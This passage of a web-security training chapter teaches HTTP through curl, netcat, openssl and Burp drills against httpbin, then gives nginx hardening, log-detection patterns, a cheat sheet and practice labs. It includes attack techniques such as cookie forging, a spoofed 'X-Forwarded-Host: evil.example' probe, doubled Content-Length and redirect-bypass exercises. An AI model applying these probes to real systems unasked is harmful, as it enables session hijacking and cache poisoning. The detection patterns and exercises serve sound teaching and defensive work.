
> GET /get HTTP/1.1
> Host: httpbin.org
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 01 Jan 2024 00:00:00 GMT
< Content-Type: application/json
< Content-Length: 254
< Connection: keep-alive
< Server: gunicorn/19.9.0
< Access-Control-Allow-Origin: *
< Access-Control-Allow-Credentials: true
<
{
  "args": {},
  "headers": { "Host": "httpbin.org", "User-Agent": "curl/8.5.0" },
  "url": "http://httpbin.org/get"
}

Note that this demo server itself ships Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true — exactly the misconfiguration Part 11 warned about (safe here because httpbin serves no private data, but a live example of the pattern).

Step 2 — hand-type a raw HTTP/1.1 request over netcat

printf 'GET /get HTTP/1.1\r\nHost: httpbin.org\r\nUser-Agent: hand-typed\r\nConnection: close\r\n\r\n' \
  | nc httpbin.org 80

You will see the full raw response — status line, every header, blank line, JSON body. You just spoke HTTP with no client library. Change GET to HEAD and observe: headers come back, body does not.

Step 3 — hand-type HTTPS with openssl

openssl s_client -connect httpbin.org:443 -quiet 2>/dev/null <<'REQ'
GET /headers HTTP/1.1
Host: httpbin.org
Connection: close

REQ

This performs the TLS handshake, then sends your literal request inside the encrypted tunnel and prints the decrypted response. The /headers endpoint echoes back exactly what the server received — proof of which headers actually crossed the wire.

Step 4 — exercise verbs, status codes and redirects

# POST a JSON body and read how the server parsed it:
curl -s -X POST http://httpbin.org/post \
  -H 'Content-Type: application/json' \
  -d '{"user":"admin","role":"user"}' | grep -A3 '"json"'

# Force each status code and watch the family behavior:
for code in 200 301 302 401 403 404 429 500; do
  printf '%s -> ' "$code"
  curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' "http://httpbin.org/status/$code"
done

# Follow a redirect chain and print every hop:
curl -s -o /dev/null -L -w '%{url_effective} (%{http_code})\n' \
  'http://httpbin.org/redirect-to?url=http://httpbin.org/get'

Expected redirect-loop output shows the Location being followed and the final 200.

Step 5 — inspect and forge cookies

# Server sets a cookie; save it to a jar, then send it back:
curl -s -c jar.txt http://httpbin.org/cookies/set/session/abc123 -o /dev/null
cat jar.txt        # inspect the stored cookie
curl -s -b jar.txt http://httpbin.org/cookies      # echo cookies the server received

{ "cookies": { "session": "abc123" } }

Now forge one by hand — no jar, just a header — and prove the server can’t tell the difference:

curl -s http://httpbin.org/cookies -H 'Cookie: session=forged-by-attacker'

{ "cookies": { "session": "forged-by-attacker" } }

This is the whole reason session tokens must be unguessable and integrity-protected: the client fully controls the Cookie header.

Step 6 — a header-posture audit script (drop-in for CI)

#!/usr/bin/env bash
# audit-headers.sh — flag missing security headers on a URL
url="${1:?usage: audit-headers.sh https://target}"
hdrs=$(curl -sSI "$url")
need=(strict-transport-security content-security-policy x-content-type-options \
      x-frame-options referrer-policy)
echo "== Security header audit for $url =="
for h in "${need[@]}"; do
  if grep -iq "^$h:" <<<"$hdrs"; then
    echo "[+] present : $h"
  else
    echo "[!] MISSING : $h"
  fi
done
# Flag risky cookie flags:
grep -i '^set-cookie:' <<<"$hdrs" | while read -r line; do
  grep -iq 'httponly' <<<"$line" || echo "[!] cookie without HttpOnly: $line"
  grep -iq 'secure'   <<<"$line" || echo "[!] cookie without Secure:   $line"
  grep -iq 'samesite' <<<"$line" || echo "[!] cookie without SameSite: $line"
done

chmod +x audit-headers.sh
./audit-headers.sh https://example.com

== Security header audit for https://example.com ==
[!] MISSING : strict-transport-security
[!] MISSING : content-security-policy
[!] MISSING : x-content-type-options
[!] MISSING : x-frame-options
[!] MISSING : referrer-policy

Real output like this on a production target is a ready-made “missing security headers” finding — low severity alone, but a fast, honest first report and a base to chain from.

---

Part 13: Intercepting and Editing HTTP — Burp Suite from Scratch

curl and nc are perfect for scripted, single requests. For interactive web testing you want to sit between the browser and the server and edit traffic live. The standard tool is Burp Suite.

What it is: Burp is an intercepting HTTP/S proxy plus a toolkit (Repeater, Intruder, Scanner, Decoder, Comparer, extensions). Your browser sends traffic through Burp; Burp lets you pause, read, and rewrite every request and response before it continues. The free Community Edition covers everything in this chapter.

Install (Kali): preinstalled — launch from the menu or burpsuite. Elsewhere: download from PortSwigger and run the installer / JAR.

Core workflow, first run:

1. Start Burp → Temporary project → Use Burp defaults.
2. Proxy → Intercept is on by default; Burp listens on 127.0.0.1:8080.
3. Point your browser at that proxy. Easiest path: use Burp’s bundled Chromium (Proxy → Open Browser) — it’s pre-configured and its TLS trusts Burp’s CA automatically.
4. To use your own browser over HTTPS, install Burp’s CA certificate: browse to http://burp → CA Certificate → import it into the browser/OS trust store. Without this, HTTPS interception throws certificate errors (by design — Burp is a deliberate man-in-the-middle of your own traffic).

The tools you’ll use constantly:

Burp tool	What it does	Use it for
Proxy → HTTP history	Log of every request/response	See exactly what the app sends
Repeater	Edit one request and resend repeatedly	Manual testing of a single endpoint
Intruder	Automate a request with payload sets	Fuzzing params, brute force, enumeration
Decoder	Encode/decode URL, base64, hex, HTML	Craft/inspect payloads
Comparer	Diff two responses	Spot subtle differences (auth vs unauth)
Extensions (BApp)	Add capabilities (Param Miner, etc.)	Cache-key/unkeyed-header discovery

A concrete Repeater cycle: browse the target through Burp, find the login request in HTTP history, right-click → Send to Repeater. In Repeater you can now change the verb, add an X-Forwarded-Host: evil.example, strip the CSRF token, replay with a different Cookie, or add a second Content-Length — and watch the exact response each edit produces. This is how every header lesson above becomes a live experiment.

flowchart LR
    BR[Browser / Burp Chromium] -->|127.0.0.1:8080| PX[Burp Proxy]
    PX -->|forward / edit| SRV[Target server]
    SRV -->|response| PX --> BR
    PX -.send to.-> REP[Repeater: edit & replay]
    PX -.send to.-> INT[Intruder: fuzz payloads]
    REP --> SRV
    INT --> SRV

Red team usage: Repeater is where you hand-craft the host-header, redirect, and CORS probes from earlier parts against a real app. Blue team usage: the same HTTP history view, pointed at your own app in staging, is a fast way to audit which headers your responses actually emit under real routing (CDN + proxy + app), which often differs from what the app code intends.

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Part 14: Detection & Defense Angle — HTTP-Layer Hardening and Monitoring

Everything above has had inline offense/defense notes; this section consolidates the defensive program for the HTTP layer, the way linux/02 consolidates hardening at the end.

Server / proxy configuration hardening

• Disable dangerous methods. Turn off TRACE, TRACK, CONNECT, and PUT/DELETE unless a specific API requires them.

# nginx: reject everything except the verbs you actually use
location / {
    limit_except GET POST HEAD { deny all; }
}

• Emit the security-header baseline globally (Part 5). In nginx:

add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-ancestors 'none'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

The always keyword is essential — without it nginx omits the header on error responses, leaving your 4xx/5xx pages unprotected.

• Force Cache-Control: no-store on all authenticated/dynamic responses so no shared cache can ever retain personalized data (kills cache deception).
• Reject ambiguous framing. Configure the front-end to reject requests that carry both Content-Length and Transfer-Encoding, and normalize / re-emit a single framing before forwarding — the front-line defense against request smuggling. Prefer HTTP/2 end-to-end so there is no H2→H1 rewrite seam.
• Do not trust X-Forwarded-*, Host, Origin, or Referer as security facts. Treat them as attacker input. Pin the canonical host server-side; validate Origin against an exact allowlist; never build security decisions on Referer.

Cookie hardening checklist

Set-Cookie: __Host-session=<random>;
            Secure; HttpOnly; SameSite=Lax; Path=/

__Host- forces Secure, forbids Domain (no subdomain tossing), and pins Path=/. Regenerate the session ID at every privilege change (login, step-up auth) to kill fixation.

Detection — what to log and alert on

Signal	Why it matters	Detection idea
TRACE/TRACK/CONNECT requests	Legit browsers never send these	Alert on any occurrence
Requests with both CL and TE	Smuggling probe	WAF rule / proxy reject + alert
Bursts of 404/403 from one source	Content discovery / enumeration	Rate + entropy on path 404s
Repeated Host/X-Forwarded-Host mismatches	Host-header injection attempts	Compare to allowlist, log deltas
Origin reflected in ACAO for non-allowlisted origins	CORS abuse / misconfig	Response-header monitoring
Sudden cache HIT on personalized URL	Cache poisoning/deception	Vary/Cache-Control audit + hit logging
Spike in 302 to external Location	Open-redirect abuse in the wild	Egress-URL allowlist logging

A minimal detection example over access logs (Combined Log Format):

# Flag any TRACE/CONNECT and any obvious host-header tampering in an access log:
awk '$6 ~ /"(TRACE|TRACK|CONNECT)/ {print "suspicious method:", $0}' access.log
grep -iE 'X-Forwarded-Host:|X-Host:' access.log   # if you log request headers

WAF / edge as a layer, not a cure

A WAF can block obvious smuggling and injection probes and enforce header hygiene at the edge, but it is a mitigation, not a fix — the underlying application must still validate input, scope cookies, and control redirects. Defense in depth: fix the app, harden the server, monitor the logs.

---

Part 15: Final Revision / Summary

• HTTP is a stateless, text-based request/response protocol (binary framing in H2/H3, same semantics). Request = method + target + version + headers + blank line + optional body. Response = status line + headers + blank line + body.
• Methods declare intent and carry safe/idempotent properties. State-changing GETs are CSRF bait; PUT/DELETE/TRACE/CONNECT should be disabled unless needed; verb tampering bypasses method-scoped authorization.
• Status codes group by first digit. 401 = unauthenticated, 403 = unauthorized, and differential 403/404/200 responses are enumeration oracles.
• Headers run everything. Host is attacker-controlled and security-critical; Content-Length vs Transfer-Encoding is the seat of request smuggling; X-Forwarded-* is spoofable.
• Redirects (3xx + Location) are open-redirect surface; 307/308 preserve method+body. Validate targets against an exact host allowlist, never startswith.
• Cookies are state bolted onto a stateless protocol. HttpOnly, Secure, SameSite, Domain, and the __Host- prefix each turn an attack on or off. Regenerate session IDs on login to stop fixation.
• Caching turns unkeyed-header reflection into cache poisoning and extension-based caching into cache deception. no-store on personalized responses; key the cache on everything that affects the body.
• SOP + CORS govern cross-origin reading. Reflecting Origin with Allow-Credentials: true is a high-severity data leak. CORS is not a CSRF defense.
• You can speak HTTP by hand with curl, nc, and openssl s_client, and edit it live with Burp — the skill that turns every header lesson into a test you can run.

Memory hook — “the blank line is the border.” Almost every high-impact HTTP bug (smuggling, splitting, header injection) is a fight over where one message ends and the next begins. Find the border disagreement and you find the bug.

---

Part 16: Cheat Sheet / Quick Reference

Raw request skeleton (HTTP/1.1):

METHOD /path?query HTTP/1.1
Host: example.com
Header-Name: value

[optional body]

Methods: GET (safe/idempotent), HEAD (headers only), POST (create/process), PUT (replace, idempotent), PATCH (partial), DELETE (remove, idempotent), OPTIONS (capabilities/CORS preflight), TRACE/CONNECT (disable in prod).

Status codes: 200 OK · 201 Created · 204 No Content · 301/308 perm redirect · 302/307 temp redirect · 304 Not Modified · 400 bad request · 401 unauth · 403 forbidden · 404 missing · 405 method not allowed · 429 rate-limited · 500/502/503/504 server errors.

Curl one-liners:

curl -v URL                          # see raw sent/received bytes
curl -I URL                          # HEAD — headers only
curl -X POST -d 'a=1' URL            # POST form body
curl -H 'Header: v' URL              # add a header
curl -b 'session=x' URL              # send a cookie
curl -c jar -b jar URL               # save + reuse cookies
curl -L URL                          # follow redirects
curl -o /dev/null -w '%{http_code} %{redirect_url}\n' URL   # code + redirect target
curl --http1.1 -sI URL               # force text framing to read raw headers
printf 'GET / HTTP/1.1\r\nHost: h\r\nConnection: close\r\n\r\n' | nc h 80   # hand-typed

Security-header baseline: Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options: nosniff, X-Frame-Options: DENY, Referrer-Policy, Cache-Control: no-store (sensitive), plus hardened Set-Cookie.

Cookie flags: Secure (HTTPS only) · HttpOnly (no JS) · SameSite=Lax/Strict/None (CSRF) · Domain/Path (scope) · __Host- prefix (lock it down).

Header → bug map: Host/X-Forwarded-Host → host injection & cache poison · Content-Length+Transfer-Encoding → request smuggling · Location → open redirect · Set-Cookie flags → session theft/CSRF · Access-Control-Allow-Origin reflection → CORS data theft · reflected input in a response header → CRLF/response splitting · unkeyed header in body → cache poisoning.

---

Part 17: Common Pitfalls

• Treating Host/X-Forwarded-*/Referer/Origin as trusted. They are client input. Every “trust the header” assumption is a bug waiting to be found.
• Using startswith/substring checks for redirect and CORS allowlists. Always parse the URL and compare the exact host; reject userinfo (@), backslashes, and scheme-relative (//) forms.
• Confusing 401 and 403. 401 = who are you (authenticate); 403 = I know you and no. Getting this wrong leaks whether resources exist.
• Assuming POST is “safe” from CSRF. Only SameSite cookies and/or CSRF tokens make it safe; the verb alone doesn’t.
• Caching authenticated responses. Any personalized response without no-store/private is a cache-deception waiting to happen.
• Forgetting always on nginx add_header. Security headers silently vanish on error pages.
• Believing HTTP/2 killed request smuggling. It relocated it — H2→H1 downgrade and request tunnelling are alive and well.
• Putting secrets in query strings. They leak via logs, history, and Referer.

---

Part 18: Practice Labs & Resources

Train each concept from this chapter on a purpose-built, legal target:

• PortSwigger Web Security Academy (free, browser-based, the gold standard for HTTP-layer bugs):
  • HTTP Host header attacks — password-reset poisoning, routing-based SSRF, cache poisoning via Host.
  • Web cache poisoning — unkeyed headers, cache-key injection, Param Miner workflow.
  • Web cache deception — the extension/path-confusion labs.
  • HTTP request smuggling — CL.TE, TE.CL, TE.TE, and H2 downgrade labs (do these after the dedicated smuggling chapter, but skim them now to see framing in action).
  • CORS — reflected-origin-with-credentials and null-origin labs.
  • OAuth / open redirect — redirect_uri and open-redirect chaining labs.
• httpbin.org / a local kennethreitz/httpbin container — a safe echo server for every curl/nc/openssl drill in Part 12 (verbs, status codes, cookies, redirects, headers).
• OWASP Juice Shop — a deliberately vulnerable app to hunt cookie/CORS/header bugs end to end with Burp.
• TryHackMe — HTTP in Detail, Burp Suite (Basics/Repeater/Intruder), and OWASP Top 10 rooms cover exactly this material hands-on.
• HackTheBox — starting-point/very-easy web boxes exercise method enumeration, redirects, and cookie handling against realistic targets.
• Tooling to learn alongside: Burp Suite (Repeater, Intruder, Decoder, Comparer, Param Miner and HTTP Request Smuggler extensions), ffuf/feroxbuster for status-code-oracle content discovery, and curl/httpie for scripted checks.

Practice questions / mini-labs to self-test:

1. Given a login that emails a reset link built from the Host header, write the exact request that poisons the link to point at your server, and explain which single server-side change kills the bug.
2. An endpoint returns 403 on GET /admin but 200 on HEAD /admin. Explain the class of vulnerability, why it happens, and how you’d confirm data actually leaks.
3. A CDN caches by URL only; the origin reflects X-Forwarded-Host into a <script src>. Craft the poisoning request and describe the blast radius, then give the two independent fixes (one at the cache, one at the origin).
4. Show three redirect payloads that defeat a returnUrl.startswith("https://trusted.com") filter, and write the correct validation in pseudocode.
5. Using only curl, demonstrate that a server reflects an arbitrary Origin with Access-Control-Allow-Credentials: true, and explain precisely what an attacker page can now do that the Same-Origin Policy would otherwise forbid.